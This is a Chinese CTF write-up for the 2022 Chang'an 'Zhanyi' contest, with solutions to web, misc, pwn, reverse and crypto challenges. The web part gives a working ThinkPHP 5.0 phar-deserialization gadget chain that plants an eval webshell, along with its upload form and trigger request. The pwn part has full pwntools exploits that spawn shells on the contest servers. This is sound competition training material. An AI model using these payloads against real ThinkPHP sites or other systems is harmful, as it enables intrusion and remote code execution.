|
原文链接:长安“战疫”2022 部分WriteUp (第四名)
Web
★tp
访问/public/可知使用了Thinkphp5.0框架,且有提示访问upload方法进行文件上传,那么就访问/public/index.php/index/index/upload,得到源代码
 
upload()方法对$_requests进行遍历,存在任意变量注册。但是$filename写死了文件后缀,所以没办法通过文件上传答题。
upload()后面一部分检查$filename如果存在ph字符串时,则删除文件。这里联想到了unlink()触发phar反序列化,且Thinkphp5.0是有已知反序列化链可getshell的。
需要注意一个点的是本地搭建环境测试发现,Thinkphp的phar反序列化会把生成的shell.php存到非web目录中,做题过程中没有细究所有原因还不明。
phar生成payload:
- <?php
- namespace think\process\pipes;
- class Windows
- {
- private $files = [];
- public function __construct()
- { $this->files = [new \think\model\Merge];
- }
- }
-
- namespace think\model;
- use think\Model;
-
- class Merge extends Model
- {
- protected $append = [];
- protected $error;
-
- public function __construct()
- { $this->append = [
- 'bb' => 'getError'
- ];
- $this->error = (new \think\model\relation\BelongsTo);
- }
- }
- namespace think;
- class Model{}
-
- namespace think\console;
- class Output
- {
- protected $styles = [];
- private $handle = null;
- public function __construct()
- { $this->styles = ['removeWhereField'];
- $this->handle = (new \think\session\driver\Memcache);
- }
- }
-
- namespace think\model\relation;
- class BelongsTo
- {
- protected $query;
- public function __construct()
- { $this->query = (new \think\console\Output);
- }
- }
-
- namespace think\session\driver;
- class Memcache
- {
- protected $handler = null;
- public function __construct()
- { $this->handler = (new \think\cache\driver\Memcached);
- }
- }
- namespace think\cache\driver;
- class File
- {
- protected $tag;
- protected $options = [];
- public function __construct()
- { $this->tag = false;
- $this->options = [
- 'expire' => 3600,
- 'cache_subdir' => false,
- 'prefix' => '',
- 'data_compress' => false,
- 'path' => 'php://filter/convert.base64-decode/resource=../../../../../../../../../../../../../../../../../../../../var/www/html/public/', // 这里指定了shell存放路径
- ];
- }
- }
-
- class Memcached
- {
- protected $tag;
- protected $options = [];
- protected $handler = null;
-
- public function __construct()
- { $this->tag = true;
- $this->options = [
- 'expire' => 0,
- 'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
- ];
- $this->handler = (new File);
- }
- }
-
- $o = new \think\process\pipes\Windows;
- $phar = new \Phar("a.phar"); //后缀名必须为phar
- $phar->startBuffering();
- $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
-
- $phar->setMetadata($o); //将自定义的meta-data存入manifest
- $phar->addFromString("test.txt", "test"); //添加要压缩的文件
- //签名自动计算
- $phar->stopBuffering();
复制代码
将生成的a.phar改名为a,然后构造如下HTML,上传phar文件- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <title>Title</title>
- </head>
- <body>
- <h1>hello worlds</h1>
- <form action="http://xxx.lxctf.net/public/index.php/index/index/upload" method="post" enctype="multipart/form-data">
- <p><input type="file" name="file"></p>
- <p><input type="submit" value="submit"></p>
- </form>
- </body>
- </html>
复制代码
构造如下数据包触发phar
- POST /public/index.php/index/index/upload HTTP/1.1
- Host: xxx.lxctf.net
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Connection: close
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryppwxmDlGxyhspudr
- Content-Length: 267
- ------WebKitFormBoundaryppwxmDlGxyhspudr
- Content-Disposition: form-data; name="FILES[file][name]"
- phar://a
- ------WebKitFormBoundaryppwxmDlGxyhspudr
- Content-Disposition: form-data; name="FILES[file][tmp_name]"
- xxx
- ------WebKitFormBoundaryppwxmDlGxyhspudr--
复制代码
访问shell,得到flag

★Flag配送中心

去php.net找下下一个版本(5.6.24)修复了啥漏洞

发现CVE-2016-5385,跟着文章复现了一遍就拿到flag了
https://www.cnblogs.com/foe0/p/11364567.html
 
★RCE_No_Para
访问靶机看到源代码,联系题目可知是无参数rce
- <?php
- if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
- if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
- eval($_GET['code']);
- }else{
- die("Hacker!");
- }
- }else{
- show_source(__FILE__);
- }
- ?>
复制代码
网上很多payload,但是此题过滤了end,header和session,所以选择使用get_defined_vars函数
参考连接:
https://skysec.top/2019/03/29/PH ... %9Aget-defined-vars
但是需要绕过end,可以使用current(array_reverse)代替end,得到flag

★Flask
提示信息如下

通过如下方式绕过,访问admin
 
根据返回的提示进行构造,触发ssti
 
限制了双下划线和中括号,通过|attr和十六进制绕过

Misc
★八卦迷宫
 
将图形对应的汉字连在一起然后转成汉语拼音即可
cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}
★朴实无华的取证内存取证
先扫一遍flag相关文件,找到一个压缩包和图片
 
导出两个文件,得到一张图片和一个加密的压缩包,压缩包里有个encrypt.txt
 
 
所以考虑先解开压缩包,去镜像中找密码,在记事本记录里找到
 
解开压缩包,得到encrypt.txt。可以看出是偏移为三的凯撒加密
 
把图片上的编码,在线凯撒解密得到flag,这里猜测图片上的?是_
 
交了flag不正确,手动调整第一个8为X,提交正确
cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}
★无字天书流量包提取文件,可以在其中一个文件中发现一串16进制,根据文件头可知是一个压缩包
 
把十六进制提取出来,利用winhex还原压缩包
 
打开里面两个文件,notepad++打开key.ws发现都是空白字符,且存在tab和换行,猜测是whitespace
 
在线网站解密得到key
 
flag.txt全是空白字符,猜测是snow加密 且上一步找到了key,使用tk大佬的工具一把梭

★西安加油Wireshark查看全是HTTP请求

观察发现大部分是返回404状态码,过滤状态码为200的仅有几条

在tcp.stream eq 4中发现hint
 
进行Base32解码得到如下
- 9403.png is 0
- 8086.png is 1
- 7301.png is 2
- 7422.png is 3
- 3978.png is 4
- 8266.png is 5
- 7683.png is 6
- 5410.png is 7
- 4365.png is 8
- ...(太多,这里省略)
复制代码
在tcp.stream eq 6中发现一串可疑数据 
Base64解码后是一个zip压缩包,解压后里面放着大量png图片,图片文件名对应着上面Base32解出来的内容
 
两个线索联想到一起,应该就是拼图,用Photoshop拼接后得到flag
★binary用二进制文件读取234,发现文件头为CAFEBABE,即class文件头,补齐后缀名.class,然后打开可以看到一个数组,然后通过把数组里的数值转成字符
可以得到base64加密的字符串,base64解密后可以得到全部01组成的字符串,观察可以知道是37*37的矩阵,转成二维码形式查看,得到flag
exp如下:
- from PIL import Image
- from zlib import *
- MAX = 37
- pic = Image.new("RGB",(MAX,MAX))
- str="0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000"
- i=0
- for y in range(0,MAX):
- for x in range(0,MAX):
- if(str[i] == '0'):
- pic.putpixel([x,y],(0,0,0))
- else:pic.putpixel([x,y],(255,255,255))
- i = i+1
- pic.show()
- #pic.save("result.png")
复制代码
 
微信扫码得到flag

PWN
★pwn1
32位程序在返回的时候不是leave ret
我们将ebp-0x4栈地址中的值 给覆盖成 backdoor_addr所在的栈中地址再+4,即 v4_stack_addr+4.
- #coding:utf8
- from pwn import *
- context.log_level="debug"
- p=process("./pwn1")
- p=remote("113.201.14.253",16088)
- p.recvuntil("Gift:")
- stack_addr=int(p.recv(10),16)
- pd=p32(0x08048540)
- pd+="a"*(0x38-0x8)
- pd+=p32(stack_addr+4)
- p.sendline(pd)
- p.interactive()
复制代码
★pwn2
add功能存在off-by-one漏洞
 
利用改漏洞修改下一个chunk的size实现堆块重叠后泄露libc,改__free_hook为system来getshell
- #!/usr/bin/env python
- # -*- encoding: utf-8 -*-
- '''
- @File : exp.py
- @Time : 2022/01/08 11:26:40
- @Author : eur1ka
- @Version : 3.8
- @Contact : eur1ka@163.com
- '''
- # here put the import lib
- from pwn import *
- from LibcSearcher import *
- import pwnlib
- debug = 1
- context.log_level = 'debug'
- context.arch = 'amd64'
- context.terminal = ['tmux','splitw','-h']
- IP=""
- port=1
- file_name = "./pwn2"
- try:
- libc_path = "./libc-2.27.so"
- libc = ELF(libc_path)
- except:
- pass
- menu = "Choice: "
- elf=ELF(file_name)
- if debug:
- sh = process(file_name)
- else:
- sh = remote(IP,port)
- def debug():
- gdb.attach(sh)
- pause()
- def cmd(choice):
- sh.recvuntil(menu)
- sh.sendline(str(choice))
- def add(size,content):
- cmd(1)
- sh.sendlineafter("size: ",str(size))
- sh.sendafter("content: ",content)
- def edit(idx,content):
- cmd(2)
- sh.sendlineafter("idx: ",str(idx))
- sh.sendafter("content: ",content)
- def dele(idx):
- cmd(3)
- sh.sendlineafter("idx: ",str(idx))
- def show(idx):
- cmd(4)
- sh.sendlineafter("idx: ",str(idx))
- for i in range(2):
- add(0x38,'a\n')
- add(0x40,'a\n')
- for i in range(8):
- add(0x80,"a\n")
- dele(0)
- add(0x38,'a'*0x38+"\x91")
- for i in range(7):
- dele(i+3)
- dele(1)
- add(0x38,'/bin/sh\x00\n')
- show(2)
- libc_base = u64(sh.recv(6).ljust(8,b"\x00")) - 0x3ebca0
- log.info("libc_base=>{}".format(hex(libc_base)))
- add(0x40,'a\n')
- dele(2)
- edit(3,p64(libc_base+libc.sym['__free_hook']))
- add(0x40,'a\n')
- add(0x40,p64(libc_base+libc.sym['system']))
- sh.sendline()
- # debug()
- dele(1)
- sh.interactive()
复制代码
★pwn3存在泄露libc地址及任意写的功能,只要游戏能通过

游戏很简单,就是判断create以及levelup的字符串长度大于0x7fffffff即可
 
漏洞点在levelup里面,输入字符可以覆盖a1+9的地方
 
成功通过检测后覆盖exit_hook为one_gadget即可
- #!/usr/bin/env python
- # -*- encoding: utf-8 -*-
- '''
- @File : exp.py
- @Time : 2022/01/08 15:45:20
- @Author : eur1ka
- @Version : 3.8
- @Contact : eur1ka@163.com
- '''
- # here put the import lib
- from pwn import *
- from LibcSearcher import *
- import pwnlib
- debug = 0
- context.log_level = 'debug'
- context.arch = 'amd64'
- context.terminal = ['tmux','splitw','-h']
- IP="113.201.14.253"
- port=16033
- file_name = "./Gpwn3"
- try:
- libc_path = "./libc-2.23.so"
- libc = ELF(libc_path)
- except:
- pass
- menu = "You choice:"
- elf=ELF(file_name)
- if debug:
- sh = process(file_name)
- else:
- sh = remote(IP,port)
- def debug():
- gdb.attach(sh)
- pause()
- def cmd(choice):
- sh.recvuntil(menu)
- sh.sendline(str(choice))
- def create(payload):
- cmd(1)
- sh.sendlineafter("Give me a character level :\n",payload)
- def leaveup(payload):
- cmd(2)
- sh.sendlineafter("Give me another level :\n",payload)
- def play():
- cmd(3)
- # sh.sendlineafter("")
- # sh.sendlineafter(menu,'a'*0xf)
- create('a'*35)
- leaveup('a'*0x10)
- leaveup('a'*0x10)
- play()
- play()
- sh.recvuntil("Here's your reward: ")
- put_addr = int(sh.recv(14),16)
- libc_base = put_addr - libc.sym['puts']
- log.info("libc_base=>{}".format(hex(libc_base)))
- exit_hook = libc_base + 0x5f0f48
- '''
- ➜ pwn3 one_gadget libc-2.23.so
- 0x45226 execve("/bin/sh", rsp+0x30, environ)
- constraints:
- rax == NULL
- 0x4527a execve("/bin/sh", rsp+0x30, environ)
- constraints:
- [rsp+0x30] == NULL
- 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
- constraints:
- [rsp+0x50] == NULL
- 0xf1247 execve("/bin/sh", rsp+0x70, environ)
- constraints:
- [rsp+0x70] == NULL
- '''
- one = libc_base + 0xf1247
- sh.sendafter("Warrior,please leave your name:",p64(exit_hook))
- sh.sendafter("We'll have a statue made for you!",p64(one))
- # debug()
- sh.interactive()
复制代码
RE
★combat_slogan
jd打开jar文件
 
输入的字符串经过ttd加密后与相等即可
- str="Jr_j11y_s1tug_g0_raq_g0_raq_pnml"
- flag=""
- for i in range(len(str)):
- if 65<=ord(str[i])<=90 or 97<=ord(str[i])<=122:
- if 65<=ord(str[i])<=77:
- flag+=chr(ord(str[i])+13)
- if 78<=ord(str[i])<=90:
- flag+=chr(ord(str[i])-13)
- if 97<=ord(str[i])<=109:
- flag+=chr(ord(str[i])+13)
- if 110<=ord(str[i])<=122:
- flag+=chr(ord(str[i])-13)
- else:
- flag+=str[i]
- print flag
- '''
- a-m 97-109
- n-z 110-122
- A-M 65-77
- N-Z 78-90
- '''
复制代码
★cute_doge
F12
 
Base64解密得到
flag{Ch1na_yyds_cazy}
★hello_py
在线反编译得到
- #!/usr/bin/env python
- # visit https://tool.lu/pyc/ for more information
- import threading
- import time
- def encode_1(n):
- global num
- if num >= 0:
- flag[num] = flag[num] ^ num
- num -= 1
- time.sleep(1)
- if num <= 0:
- pass
- def encode_2(n):
- global num
- if num >= 0:
- flag[num] = flag[num] ^ flag[num + 1]
- num -= 1
- time.sleep(1)
- if num < 0:
- pass
-
- Happy = [
- 44,
- 100,
- 3,
- 50,
- 106,
- 90,
- 5,
- 102,
- 10,
- 112]
- num = 9
- f = input('Please input your flag:')
- if len(f) != 10:
- print('Your input is illegal')
- continue
- flag = list(f)
- j = 0
- print("flag to 'ord':", flag)
- t1 = threading.Thread(encode_1, (1,), **('target', 'args'))
- t2 = threading.Thread(encode_2, (2,), **('target', 'args'))
- t1.start()
- time.sleep(0.5)
- t2.start()
- t1.join()
- t2.join()
- if flag == Happy:
- print('Good job!')
- continue
- print('No no no!')
- continue
复制代码
将happy首先进行 encode_2的解密然后 encode_1的解密.发现得到的结果都是明文
- num=9
- happy = [44,100,3,50,106,90,5,102,10,112]
- for i in range(num):
- happy[i]=happy[i]^happy[i+1]
- for i in range(num):
- happy[i]=happy[i]^i
- print happy#[72, 102, 51, 91, 52, 90, 101, 107, 114, 112]
复制代码
但有些奇怪.尝试将下标为偶数的元素进行 encode_2的解密
将下标为奇数的元素进行 encode_1的解密
- num=9
- happy = [44,100,3,50,106,90,5,102,10,112]
- flag=""
- for i in range(num):
- if i%2==0:
- happy[i]=happy[i]^happy[i+1]
- flag+=chr(happy[i])
- else:
- happy[i]=happy[i]^i
- flag+=chr(happy[i])
- print happy
- print flag#He110_caz
复制代码
根据前面flag的格式判断最后还缺个y
连在一起flag{He110_caz}
Crypto
★LinearEquationsLCG 的变种,知道连续的 5 个结果后,三个方程三个未知数,解方程即可:
 
sage 脚本:
- data = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396]
- n = 10104483468358610819
- s0 = mod(data[0], n)
- s1 = mod(data[1], n)
- s2 = mod(data[2], n)
- s3 = mod(data[3], n)
- s4 = mod(data[4], n)
- B = ((s4 - s3) * (s2 - s1) - (s3 - s2) * (s3 - s2)) / ((s2 - s1) * (s2 - s1) - (s1 - s0) * (s3 - s2))
- print(hex(B))
- A = ((s3 - s2) - B * (s1 - s0)) / (s2 - s1)
- print(hex(A))
- C = s2 - A * s1 - B * s0
- print(hex(C))
- from Crypto.Util.number import long_to_bytes
- flag = long_to_bytes(int(A)) + long_to_bytes(int(B)) + long_to_bytes(int(C))
- print('cazy{' + flag.decode() + '}')
复制代码
★no_can_no_bb爆破 AES 密钥即可:- import random
- from Crypto.Util.number import long_to_bytes
- from Crypto.Cipher import AES
- def pad(m):
- tmp = 16-(len(m)%16)
- return m + bytes([tmp for _ in range(tmp)])
- def decrypt(c, key):
- aes = AES.new(key, AES.MODE_ECB)
- return aes.decrypt(c)
- def main():
- c = b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
- for i in range(0, 1 << 20):
- key = pad(long_to_bytes(i))
- flag = decrypt(c, key)
- if flag.startswith(b'cazy{'):
- print(flag.decode())
- if __name__ == '__main__':
- main()
复制代码
★no_cry_no_cankey长度为5
flag前5位是 craz{
flag与key的循环做异或 得到 一串乱码字符
乱码字符前五位与 craz{做异或即得到 key
然后再将乱码字符与key循环做异或即得到flag.
- '''
- from Crypto.Util.number import*
- from secret import flag,key
- assert len(key) <= 5
- assert flag[:5] == b'cazy{'
- def can_encrypt(flag,key):
- block_len = len(flag) // len(key) + 1
- new_key = key * block_len
- return bytes([i^j for i,j in zip(flag,new_key)])
- c = can_encrypt(flag,key)
- print(c)
- '''
- c=b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
- print len(c)
- flag=""
- for i in range(len(c)):
- if i%5==0:
- flag+=chr(ord(c[i])^ord('c'))
- if i%5==1:
- flag+=chr(ord(c[i])^ord('a'))
- if i%5==2:
- flag+=chr(ord(c[i])^ord('z'))
- if i%5==3:
- flag+=chr(ord(c[i])^ord('y'))
- if i%5==4:
- flag+=chr(ord(c[i])^ord('{'))
- print flag
- print flag[:5]
- key=flag[:5]
- c=b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
- print len(c)
- flag=""
- for i in range(len(c)):
- if i%5==0:
- flag+=chr(ord(c[i])^ord(key[0]))
- if i%5==1:
- flag+=chr(ord(c[i])^ord(key[1]))
- if i%5==2:
- flag+=chr(ord(c[i])^ord(key[2]))
- if i%5==3:
- flag+=chr(ord(c[i])^ord(key[3]))
- if i%5==4:
- flag+=chr(ord(c[i])^ord(key[4]))
- print flag#cazy{y3_1s_a_h4nds0me_b0y!}
复制代码
★no_cry_no_cry- import gmpy2
- from Crypto.Util.number import long_to_bytes
- c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169
- x = gmpy2.iroot(c - 0x0338470, 2)
- m = (1 << 500) - x[0]
- print(long_to_bytes(m))
复制代码
令:
x = inverse\_mod(q, p)
y = inverse\_mod(p, q)
则:
q \times x = 1 + k1 \times p
p \times y = 1 + k2 \times q
联立得:
q \times (x + k2) = p \times (y + k1)
由于 p 和 q 互质,因此:
p = x + k2
q = y + k1
代入 q \times x = 1 + k1 \times p 得:
x \times y = 1 + k1 \times k2
由于:
\phi(n) = (p - 1) \times (q - 1) = (x - 1 + k2) \times (y - 1 + k1) \\
将 k2 代入可得:
(x - 1) \times k1 ^ 2 + (x \times y - 1 - \phi(n) + (x - 1) \times (y - 1)) \times k1 + (y - 1) \times (x \times y - 1) = 0
解一元二次方程可得 k1,再算出 p q,最后解 RSA 即可
完整脚本如下:
- import gmpy2
- from Crypto.Util.number import long_to_bytes
- def solve(a, b, c):
- delta = b ** 2 - 4 * a * c
- if gmpy2.is_square(delta):
- x1 = (-b + gmpy2.isqrt(delta)) // (2 * a)
- x2 = (-b - gmpy2.isqrt(delta)) // (2 * a)
- return True, (x1, x2)
- else:
- return False, (0, 0)
- def main():
- y = 0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3
- x = 0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b
- cc = 0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386
- e = 0x10005
- d = 0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1
- kn = e * d - 1
-
- for k in range(3, e):
- if kn % k == 0:
- phi = kn // k
- a = x - 1
- b = x * y - 1 + (x - 1) * (y - 1) - phi
- c = (y - 1) * (x * y - 1)
- ok, (k1, k2) = solve(a, b, c)
- if not ok:
- continue
- if (x * y - 1) % k1 == 0:
- k2 = (x * y - 1) // k1
- elif (x * y - 1) % k2 == 0:
- k1, k2 = k2, (x * y - 1) // k2
- else:
- print('error')
- return
- p, q = x + k2, y + k1
- N = p * q
- flag = long_to_bytes(pow(cc, d, N))
- print(flag)
- break
- if __name__ == '__main__':
- main()
复制代码
|
|